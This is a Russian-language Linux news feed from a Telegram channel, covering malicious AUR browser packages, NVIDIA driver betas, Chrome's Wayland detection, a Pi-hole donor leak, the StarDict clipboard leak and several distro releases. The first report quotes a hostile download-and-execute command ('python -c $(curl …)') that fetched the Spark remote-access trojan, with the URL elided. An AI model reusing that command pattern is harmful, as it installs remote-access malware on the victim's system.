В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных пакетов
В репозитории AUR (Arch User Repository), были обнаружены пакеты содержащие вредоносный код, интегрированные в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад трём вредоносным пакетам с браузерами, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.
В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда ‘python -c «$(curl
вредоносная ссылка)»’, загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скрин...
Читать полностью
#LinuxOrgRu
@linux_potok
В репозитории AUR (Arch User Repository), были обнаружены пакеты содержащие вредоносный код, интегрированные в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад трём вредоносным пакетам с браузерами, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.
В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда ‘python -c «$(curl
вредоносная ссылка)»’, загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скрин...
Читать полностью
#LinuxOrgRu
@linux_potok
😁6😱6❤1👍1
NVIDIA выпустила бета-версию драйвера v580 для Linux
NVIDIA представила бета-драйвер 580.65 для Linux с устранением сбоев Vulkan, улучшенной поддержкой Wayland и новыми опциями для снижения задержки в VR и играх.
Читать полностью
#Linuxiac
@linux_potok
NVIDIA представила бета-драйвер 580.65 для Linux с устранением сбоев Vulkan, улучшенной поддержкой Wayland и новыми опциями для снижения задержки в VR и играх.
Читать полностью
#Linuxiac
@linux_potok
👍9🌚1
28 бесплатных и открытых JSON-просмотрщиков логов
Если вы разработчик, инженер по данным или работаете с аналитикой, вам наверняка приходилось тратить много времени на анализ логов. В этом помогают JSON Log Viewer — специальные инструменты для удобного просмотра и анализа логов в формате JSON.
Читать полностью
#MEDevel
@linux_potok
Если вы разработчик, инженер по данным или работаете с аналитикой, вам наверняка приходилось тратить много времени на анализ логов. В этом помогают JSON Log Viewer — специальные инструменты для удобного просмотра и анализа логов в формате JSON.
Читать полностью
#MEDevel
@linux_potok
👍2
Большие изменения в MX Linux 25
В MX Linux 25 по умолчанию в KDE будет использоваться Wayland, появятся отдельные ISO с разными системами инициализации, появится поддержка Secure Boot и прекратится выпуск 32-битных образов.
Читать полностью
#Linuxiac
@linux_potok
В MX Linux 25 по умолчанию в KDE будет использоваться Wayland, появятся отдельные ISO с разными системами инициализации, появится поддержка Secure Boot и прекратится выпуск 32-битных образов.
Читать полностью
#Linuxiac
@linux_potok
👍4❤2
Бета-драйвер NVIDIA 580 для Linux приносит исправления и поддержку Wayland fifo-v1 с Vulkan
Сегодня NVIDIA выпустила версию v580.65.06 — первую бета-версию драйвера из новой серии NVIDIA 580 для Linux...
Читать полностью
#Phoronix
@linux_potok
Сегодня NVIDIA выпустила версию v580.65.06 — первую бета-версию драйвера из новой серии NVIDIA 580 для Linux...
Читать полностью
#Phoronix
@linux_potok
👍11
Pi-hole допустил утечку данных из-за уязвимости в плагине для WordPress
Разработчики популярного блокировщика рекламы Pi-hole предупредили, что имена и email-адреса всех, кто жертвовал средства проекту, оказались в открытом доступе из-за бага в плагине GiveWP для WordPress.
Читать полностью
#xakep
@linux_potok
Разработчики популярного блокировщика рекламы Pi-hole предупредили, что имена и email-адреса всех, кто жертвовал средства проекту, оказались в открытом доступе из-за бага в плагине GiveWP для WordPress.
Читать полностью
#xakep
@linux_potok
😁3🤔1😢1
[Перевод] Бесплатный инструмент Autoswagger находит уязвимости API, которые злоумышленники надеются, что вы пропустите
API-интерфейсы — основа современных приложений и одна из самых уязвимых частей инфраструктуры организации. Это делает их излюбленной целью злоумышленников.
Тревожно, что подобные уязвимости настолько легко эксплуатировать, что этому можно научить человека без технического образования за один день. И спустя три года команда безопасности Intruder всё ещё находит те же уязвимости в API крупных организаций, включая компании, входящие в индекс S&P 500.
Именно поэтому мы создали Autoswagger — бесплатный инструмент с открытым исходным кодом, который сканирует API на наличие уязвимостей авторизации.
Читать полностью
#habr
@linux_potok
API-интерфейсы — основа современных приложений и одна из самых уязвимых частей инфраструктуры организации. Это делает их излюбленной целью злоумышленников.
Тревожно, что подобные уязвимости настолько легко эксплуатировать, что этому можно научить человека без технического образования за один день. И спустя три года команда безопасности Intruder всё ещё находит те же уязвимости в API крупных организаций, включая компании, входящие в индекс S&P 500.
Именно поэтому мы создали Autoswagger — бесплатный инструмент с открытым исходным кодом, который сканирует API на наличие уязвимостей авторизации.
Читать полностью
#habr
@linux_potok
👍7
Microsoft предлагает до 40 000 долларов за уязвимости в .NET
Компания Microsoft расширяет программу bug bounty для .NET и увеличивает максимальное вознаграждение до 40 000 долларов за некоторые баги в .NET и ASP.NET Core.
Читать полностью
#xakep
@linux_potok
Компания Microsoft расширяет программу bug bounty для .NET и увеличивает максимальное вознаграждение до 40 000 долларов за некоторые баги в .NET и ASP.NET Core.
Читать полностью
#xakep
@linux_potok
👍5
Драйвер Mesa NVK теперь открывает поддержку Vulkan 1.4 для NVIDIA GeForce RTX 50 «Blackwell»
Недавно в ветку Mesa 25.3-devel Git был принят патч и отмечен для обратного портирования в серию Mesa 25.2, который сообщает о совместимости с Vulkan 1.4 для новейших GPU NVIDIA Blackwell...
Читать полностью
#Phoronix
@linux_potok
Недавно в ветку Mesa 25.3-devel Git был принят патч и отмечен для обратного портирования в серию Mesa 25.2, который сообщает о совместимости с Vulkan 1.4 для новейших GPU NVIDIA Blackwell...
Читать полностью
#Phoronix
@linux_potok
👍9
Chrome 140 автоматически определит Wayland для пользователей Linux
В скором времени Google Chrome будет выглядеть менее размытым на Linux-системах, использующих Wayland и дробное масштабирование. Браузер начнет автоматически определять и использовать Wayland вместо X11, что поможет избежать размытия из-за двойного масштабирования. Это стало возможным благодаря включению новой функции в Ozone — прослойке Chrome для работы с графикой и вводом. Сейчас Chrome по умолчанию работает через X11 даже на системах с Wayland, что приводит к проблемам с четкостью изображения при дробном масштабировании.
Читать полностью
#OmgUbuntu
@linux_potok
В скором времени Google Chrome будет выглядеть менее размытым на Linux-системах, использующих Wayland и дробное масштабирование. Браузер начнет автоматически определять и использовать Wayland вместо X11, что поможет избежать размытия из-за двойного масштабирования. Это стало возможным благодаря включению новой функции в Ozone — прослойке Chrome для работы с графикой и вводом. Сейчас Chrome по умолчанию работает через X11 даже на системах с Wayland, что приводит к проблемам с четкостью изображения при дробном масштабировании.
Читать полностью
#OmgUbuntu
@linux_potok
👍16👏2👌2
NVIDIA CUDA 13.0 доступна с поддержкой унифицированной платформы Arm
Вместе с сегодняшней бета-версией драйвера NVIDIA R580 для Linux теперь доступен для загрузки инструментарий CUDA 13.0, который зависит от новой серии драйверов R580 для Linux...
Читать полностью
#Phoronix
@linux_potok
Вместе с сегодняшней бета-версией драйвера NVIDIA R580 для Linux теперь доступен для загрузки инструментарий CUDA 13.0, который зависит от новой серии драйверов R580 для Linux...
Читать полностью
#Phoronix
@linux_potok
👍10
AMD Ryzen AI 5 340 «Krackan Point» предлагает выдающуюся ценность в ноутбуках до $500
За последние три месяца мы с большим интересом тестировали SoC AMD Strix Halo с флагманской моделью Ryzen AI Max+ PRO 395, а также Ryzen AI Max PRO 390, которая находится ступенью ниже. Strix Halo предлагает отличные возможности по производительности как процессора, так и графики для топовых решений, если ваш бюджет это позволяет. Но на противоположном конце спектра, на шаг ниже Strix Point SoCs, которые были доступны в течение прошлого года, находится Krackan Point. Krackan Point предназначен для решений среднего уровня в серии Ryzen AI 300. В последнее время я тестировал ноутбук с AMD Ryzen AI 5 340, который демонстрирует весьма впечатляющее соотношение цена/производительность, учитывая, что его можно найти совершенно новым всего за $449 США в модели HP OmniBook 5.
Читать полностью
#Phoronix
@linux_potok
За последние три месяца мы с большим интересом тестировали SoC AMD Strix Halo с флагманской моделью Ryzen AI Max+ PRO 395, а также Ryzen AI Max PRO 390, которая находится ступенью ниже. Strix Halo предлагает отличные возможности по производительности как процессора, так и графики для топовых решений, если ваш бюджет это позволяет. Но на противоположном конце спектра, на шаг ниже Strix Point SoCs, которые были доступны в течение прошлого года, находится Krackan Point. Krackan Point предназначен для решений среднего уровня в серии Ryzen AI 300. В последнее время я тестировал ноутбук с AMD Ryzen AI 5 340, который демонстрирует весьма впечатляющее соотношение цена/производительность, учитывая, что его можно найти совершенно новым всего за $449 США в модели HP OmniBook 5.
Читать полностью
#Phoronix
@linux_potok
👍5
Chrome 140 планирует автоматическое определение Wayland
Разработчики Chrome собираются внедрить автоматическое определение Wayland на Linux в версии 140. Это позволит использовать нативный рендеринг и устранит проблемы с размытым текстом и элементами интерфейса при дробном масштабировании.
Читать полностью
#OmgUbuntu
@linux_potok
Разработчики Chrome собираются внедрить автоматическое определение Wayland на Linux в версии 140. Это позволит использовать нативный рендеринг и устранит проблемы с размытым текстом и элементами интерфейса при дробном масштабировании.
Читать полностью
#OmgUbuntu
@linux_potok
👍9👌2
Инструмент Google позволял удалять страницы из поисковых результатов
Журналисты обнаружили, что инструмент Refresh Outdated Content («Обновить устаревший контент») позволял любому желающему удалять конкретные страницы из результатов поиска Google. Так из поиска пропали негативные статьи о генеральном директоре крупной технологической компании из Сан-Франциско.
Читать полностью
#xakep
@linux_potok
Журналисты обнаружили, что инструмент Refresh Outdated Content («Обновить устаревший контент») позволял любому желающему удалять конкретные страницы из результатов поиска Google. Так из поиска пропали негативные статьи о генеральном директоре крупной технологической компании из Сан-Франциско.
Читать полностью
#xakep
@linux_potok
❤3😁3🤮1
Git 2.51-rc0 делает дополнительные шаги в подготовке к Git 3.0, где по умолчанию будет использоваться SHA-256
Джуно Хamano объявил о выпуске Git 2.51-rc0, чтобы начать новую неделю и первый этап на пути к Git 2.51 как следующей вехе для этой открытой распределённой системы управления версиями...
Читать полностью
#Phoronix
@linux_potok
Джуно Хamano объявил о выпуске Git 2.51-rc0, чтобы начать новую неделю и первый этап на пути к Git 2.51 как следующей вехе для этой открытой распределённой системы управления версиями...
Читать полностью
#Phoronix
@linux_potok
👍7
Пакет StarDict в Debian отправляет содержимое буфера обмена на внешние серверы
В предлагаемом в репозитории Debian Testing (будущий релиз Debian 13) пакете StarDict, реализующем интерфейс для поиска в словарях, выявлена серьёзная проблема с конфиденциальностью - в конфигурации по умолчанию приложение отправляет содержимое буфера обмена на внешние серверы. Достаточно в любом приложении выделить отрывок текста и он сразу отправляется без шифрования по протоколу HTTP на китайские серверы online-словарей dict.youdao.com и dict.cn. Проблема проявляется только при работе в окружений на базе протокола X11, при использовании Wayland по умолчанию применяется изоляция буфера обмена.
Читать полностью
#OpenNet
@linux_potok
В предлагаемом в репозитории Debian Testing (будущий релиз Debian 13) пакете StarDict, реализующем интерфейс для поиска в словарях, выявлена серьёзная проблема с конфиденциальностью - в конфигурации по умолчанию приложение отправляет содержимое буфера обмена на внешние серверы. Достаточно в любом приложении выделить отрывок текста и он сразу отправляется без шифрования по протоколу HTTP на китайские серверы online-словарей dict.youdao.com и dict.cn. Проблема проявляется только при работе в окружений на базе протокола X11, при использовании Wayland по умолчанию применяется изоляция буфера обмена.
Читать полностью
#OpenNet
@linux_potok
👍2😱2💩2❤1
Первое крупное обновление Flameshot за 3 года
Flameshot 13.0 впервые за три года получил значительное обновление: добавлена поддержка Qt6, загрузка снимков на Imgur теперь по умолчанию отключена, а также улучшены встроенные инструменты.
Читать полностью
#OmgUbuntu
@linux_potok
Flameshot 13.0 впервые за три года получил значительное обновление: добавлена поддержка Qt6, загрузка снимков на Imgur теперь по умолчанию отключена, а также улучшены встроенные инструменты.
Читать полностью
#OmgUbuntu
@linux_potok
❤5🤔2
В F2FS появились новые улучшения, объединённые для Linux 6.17, в то время как Bcachefs отстаёт
Сегодня были опубликованы и уже через несколько часов объединены в основную ветку обновления функций Flash-Friendly File-System (F2FS) для окна слияния Linux 6.17...
Читать полностью
#Phoronix
@linux_potok
Сегодня были опубликованы и уже через несколько часов объединены в основную ветку обновления функций Flash-Friendly File-System (F2FS) для окна слияния Linux 6.17...
Читать полностью
#Phoronix
@linux_potok
👍3
openSUSE Leap 16.0 выходит на стадию RC с новым установщиком и Xfce на Wayland
В преддверии стабильного релиза openSUSE Leap 16.0, запланированного на конец 2025 года, начался период релиз-кандидата для этого дистрибутива Linux, основанного на исходных кодах SUSE Linux Enterprise 16...
Читать полностью
#Phoronix
@linux_potok
В преддверии стабильного релиза openSUSE Leap 16.0, запланированного на конец 2025 года, начался период релиз-кандидата для этого дистрибутива Linux, основанного на исходных кодах SUSE Linux Enterprise 16...
Читать полностью
#Phoronix
@linux_potok
👍7❤4🥰1👏1👌1
Nextcloud против CryptPad: Какой инструмент для совместной работы с упором на приватность подходит вам?
Два продукта, которые обещают приватность и контроль, но каждый идет своим путем.
Читать полностью
#ItFOSS
@linux_potok
Два продукта, которые обещают приватность и контроль, но каждый идет своим путем.
Читать полностью
#ItFOSS
@linux_potok
👍1